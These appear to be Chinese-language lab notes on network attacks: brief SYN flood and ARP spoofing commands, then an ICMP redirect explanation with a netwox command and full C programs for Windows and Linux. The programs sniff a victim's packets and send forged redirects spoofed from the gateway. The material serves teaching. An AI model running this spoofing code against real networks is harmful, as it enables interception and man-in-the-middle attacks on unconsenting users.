Task 1 SYN flooding attack

修改系统设置,

1
2
sysctl -q net.ipv4.tcp_max_syn_backlog
#systemctl start ssh

查看某一个网卡的ip用ifconfig + 网卡名。

查看端口运行进程

1
lsof -i:11111

Task 2 arp spoofing attack

用netwag工具执行命令

1
netwox 80 --eth "attacker mac" --ip "target ip"

ICMP redirect attack

  1. ICMP简介
    • ICMP是Internet Control Message Protocol的缩写,是用于在IP网络上发送控制消息的协议。ICMP消息通常用于处理网络故障和错误,例如ping命令使用的回显请求和回显响应消息。
  2. ICMP Redirect消息
    • ICMP Redirect消息是一种ICMP消息类型,通常由路由器发送给主机,用于告知主机更有效的路由选择。正常情况下,主机会根据路由表来选择发送数据包的下一跳路由器。
  3. 攻击步骤
    • 攻击者需要位于目标主机和目标路由器之间的网络位置,通常是在同一局域网内。
    • 攻击者发送虚假的ICMP Redirect消息给目标主机,欺骗它将特定目标IP地址的流量发送到攻击者指定的路由器IP地址。
    • 目标主机接收到虚假的ICMP Redirect消息后,会更新自己的路由表,将指定的目标IP地址的下一跳路由器更改为攻击者指定的路由器IP地址。
    • 从此时起,目标主机会将所有发往指定目标IP地址的数据包发送到攻击者控制的路由器或主机。
    • 攻击者可以捕获、篡改或中继这些数据包,从而实施攻击,可能包括数据包嗅探、中间人攻击或拒绝服务攻击等。
  4. 攻击后果
    • ICMP Redirect攻击的成功实施可能导致数据包被截取、篡改或导向错误的目标,从而使攻击者能够窃取敏感信息、中间人攻击通信或干扰网络连接。

我们用netwag工具来模拟这次攻击。

在linux中检查路由表用

1
route

windows, macos查看路由表在cmd中输入

1
netstat -r

在linux中打开数据包转发功能

1
sudo sysctl net.ipv4.ip_forward=1

我们用攻击者伪装成网关,向受害者发送icmp消息

1
sudo netwox 86 -d "eth0" -g "192.168.3.8" -i "192.168.3.1"

这样攻击者192.168.1.8就会被看作新的网关。

同时打开wireshark抓包。

当然本实验也可以编写网络程序执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
//在windows中
#pragma pack (1)
typedef struct
{
EthernetHeader ed;
IPV4_HDR ip;
ICMPHeader icmp;
u_char data[28];
}IcmpPacket;
#pragma pack ()

void icmpRedirect(const u_char *pktData)
{
IcmpPacket packet;
memset((void *)&packet, 0, sizeof(packet));

//EthernetHeader
memcpy(packet.ed.SourMAC, this->hostInfo->mac, sizeof(packet.ed.SourMAC));
memcpy(packet.ed.DestMAC, this->destMac, sizeof(packet.ed.DestMAC));
packet.ed.EthType = htons(IP_TYPE);

//IP
packet.ip.ip_version = 4;
packet.ip.ip_header_len = 5;
packet.ip.ip_tos = 0;
packet.ip.ip_total_length = htons(sizeof(packet) - sizeof(EthernetHeader)); //不包含以太网头
packet.ip.ip_id=htons(2);
packet.ip.ip_frag_offset = 0;
packet.ip.ip_frag_offset1 = 0;
packet.ip.ip_reserved_zero = 0;
packet.ip.ip_dont_fragment = 1;
packet.ip.ip_more_fragment = 0;
packet.ip.ip_ttl = 8;
packet.ip.ip_protocol = IPPROTO_ICMP;
packet.ip.ip_checksum = 0;

packet.ip.ip_srcaddr = inet_addr(this->hostInfo->gatewayIp);//要伪造网关发送ip报文
packet.ip.ip_destaddr = inet_addr(this->destIp.toLatin1().data());//将伪造重定向包发给受害者
//qDebug() << "packet.ip.saddr" << packet.ip.saddr;
//qDebug() << "packet.ip.daddr" << packet.ip.daddr;

//qDebug() << "sizeof(packet.ip)" << sizeof(packet.ip);

//ICMP
packet.icmp.type = ICMP_REDIRECT;
packet.icmp.code = ICMP_REDIR_HOST;
packet.icmp.checkSum = 0;
//qDebug() << "hostInfo->ip" << this->hostInfo->ip;
u_long nSourceIp = inet_addr(this->hostInfo->ip); //攻击者ip
packet.icmp.un.gateway = nSourceIp;

//从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
memcpy(packet.data,pktData+ETHERNET_HEAD_LENGTH,sizeof(packet.data));

packet.ip.ip_checksum = pcap.checksum(&packet.ip, sizeof(packet.ip));
packet.icmp.checkSum = pcap.checksum((u_char*)&packet + sizeof(EthernetHeader), sizeof(packet) - sizeof(EthernetHeader)); //不包含以太网头

//发送
if (pcap_sendpacket(this->adhandle, // Adapter
&packet, // buffer with the packet
sizeof(packet) // size
) != 0)
{
qDebug("\nError sending the packet: %s\n", pcap_geterr(this->adhandle));
return;
}
}

//在linux中
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define MAX 1024
#define SIZE_ETHERNET 14

#define ICMP_ECHOREPLY 0 /* Echo Reply */
#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */
#define ICMP_SOURCE_QUENCH 4 /* Source Quench */
#define ICMP_REDIRECT 5 /* Redirect (change route) */
#define ICMP_ECHO 8 /* Echo Request */
#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
#define ICMP_PARAMETERPROB 12 /* Parameter Problem */
#define ICMP_TIMESTAMP 13 /* Timestamp Request */
#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
#define ICMP_INFO_REQUEST 15 /* Information Request */
#define ICMP_INFO_REPLY 16 /* Information Reply */
#define ICMP_ADDRESS 17 /* Address Mask Request */
#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
#define NR_ICMP_TYPES 18

/* Codes for REDIRECT. */
#define ICMP_REDIR_NET 0 /* Redirect Net */
#define ICMP_REDIR_HOST 1 /* Redirect Host */
#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */

const unsigned char *Vic_IP = "192.168.1.9"; //攻击对象的ip
const unsigned char *Ori_Gw_IP = "192.168.1.1"; //源网关ip。必须要填默认网关IP
const unsigned char *Redic_IP = "192.168.1.8"; //攻击者ip

int flag = 0;

#define __LITTLE_ENDIAN_BITFIELD
struct iphdr
{
#if defined(__LITTLE_ENDIAN_BITFIELD)
unsigned char ihl:4,
version:4;
#else
unsigned char version:4,
ihl:4;
#endif

unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
/*The options start here. */
};

struct icmphdr
{
unsigned char type;
unsigned char code;
unsigned short checksum;
union
{
struct
{
unsigned short id;
unsigned short sequence;
} echo;
unsigned int gateway;
struct
{
unsigned short __unused;
unsigned short mtu;
} frag;
} un;
};

/*计算校验和*/
u_int16_t checksum(u_int8_t *buf, int len)
{
u_int32_t sum = 0;
u_int16_t *cbuf;

cbuf = (u_int16_t *)buf;

while(len > 1)
{
sum += *cbuf++;
len -= 2;
}

if(len)
{
sum += *(u_int8_t *)cbuf;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);

return ~sum;
}

void ping_redirect(int sockfd, const unsigned char *data, int datalen)
{
char buf[MAX], *p;
int len, i;
struct packet
{
struct iphdr ip;
struct icmphdr icmp;
char datas[28];
} packet;

//手动填充ip头
packet.ip.version = 4;
packet.ip.ihl = 5;
packet.ip.tos = 0; //服务类型
packet.ip.tot_len = htons(sizeof(packet));
packet.ip.id = getpid();
packet.ip.frag_off = 0;
packet.ip.ttl = 255;
packet.ip.protocol = IPPROTO_ICMP;
packet.ip.check = 0;
packet.ip.saddr = inet_addr(Ori_Gw_IP); //要伪造网关发送ip报文
packet.ip.daddr = inet_addr(Vic_IP); //将伪造重定向包发给受害者

//手动填充icmp头
packet.icmp.type = ICMP_REDIRECT;
packet.icmp.code = ICMP_REDIR_HOST;
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(Redic_IP);
struct sockaddr_in dest =
{
.sin_family = AF_INET,
.sin_addr = {
.s_addr = inet_addr(Vic_IP)
}
};
packet.ip.check = checksum((u_int8_t *)&packet.ip, sizeof(packet.ip));

//从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
memcpy(packet.datas, (data + SIZE_ETHERNET), sizeof(packet.datas)); //包里数据
packet.icmp.checksum = checksum((u_int8_t *)&packet, sizeof(packet));
//用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
//(发送端套接字描述符,待发送数据的缓冲区,待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位,一般为0,数据发送的目的地址,地址长度)
sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&dest, sizeof(dest));

close(sockfd);
}

//pcap_loop()不知道如何处理返回值,所以返回值为空,第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,如一个TCP/IP包包含以太网头部,一个IP头部还有TCP头部,还有此包的有效载荷)这个u_char就是这些结构体的串联版本。pcap嗅探包时正是用之前定义的这些结构体
void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet)
{
int sockfd, res;
int one = 1;
int *ptr_one = &one;

printf("len %d\n", pkthdr->len);

//可以接收协议类型为ICMP的发往本机的IP数据包(通信的域,iPv4,套接字通信的类型,原始套接字,套接字类型,接收ICMP-》IP)
//sockfd是socket描述符,为了以后将socket与本机端口相连
if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
{
printf("create sockfd error\n");
exit(-1);
}

//包装自己的头部
//发送数据时,不执行系统缓冲区到socket缓冲区的拷贝,以提高系统性能,应为
/**
设置sockfd套接字关联的选 项
sockfd:指向一个打开的套接口描述字
IPPROTO_IP:指定选项代码的类型为IPV4套接口
IP_HDRINCL:详细代码名称(需要访问的选项名字)
ptr_one:一个指向变量的指针类型,指向选项要设置的新值的缓冲区
sizeof(one):指针大小
*/
res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));

if(res < 0)
{
printf("error--\n");
exit(-3);
}

ping_redirect(sockfd, packet, 0);
}

int main(int argc, char **argv)
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;

/* get a device */
devStr = pcap_lookupdev(errBuf);//返回一个合适网络接口的字符串指针,如果出错,则返回errBuf出错字符串,长度为PACP_ERRBUF_SIZE长度

if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("pcap_lookupdev error: %s\n", errBuf);
exit(1);
}

/* open a device, wait until a packet arrives */
//打开设备进行嗅探,返回一个pcap_t类型的指针,后面操作都要用到这个指针
pcap_t *device = pcap_open_live(devStr, 65535, 1, 0, errBuf); //获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息)

if(device == NULL)
{
printf("pcap_open_live error: %s\n", errBuf);
return -1;
}

struct bpf_program filter;

bpf_u_int32 netmask = 0xffffff;

char filterstr[50] = {0};

sprintf(filterstr, "src host %s", Vic_IP); //将vic_ip按照%s的格式写入filterstr缓冲区

//过滤通信,哪些包是用户可以拿到的
//表达式被编译,编译完就可使用了
if(pcap_compile(device, &filter, filterstr, 1, netmask) < 0) //函数返回-1为失败,返回其他值为成功
{
printf("pcap_compile error: %s\n", errBuf);
return -1;
}

//device:会话句柄
//&filterstr:被编译的过滤器版本的地址的引用
//filterstr:表达式本身,存储在规定的字符串格式里
//1:表达式是否被优化的整形量:0:没有,1:有
//0:指定应用此过滤器的网络掩码
//设置过滤器,使用这个过滤器
pcap_setfilter(device, &filter);
//device:会话句柄
//&filterstr:被编译的表达式版本的引用
/* wait loop forever */
int id = 0;
pcap_loop(device, -1, getPacket, NULL);
//device是之前返回的pacp_t类型的指针,-1代表循环抓包直到出错结束,>0表示循环x次,getPacket是回调函数,最后一个参数一般之置为null

return 0;
}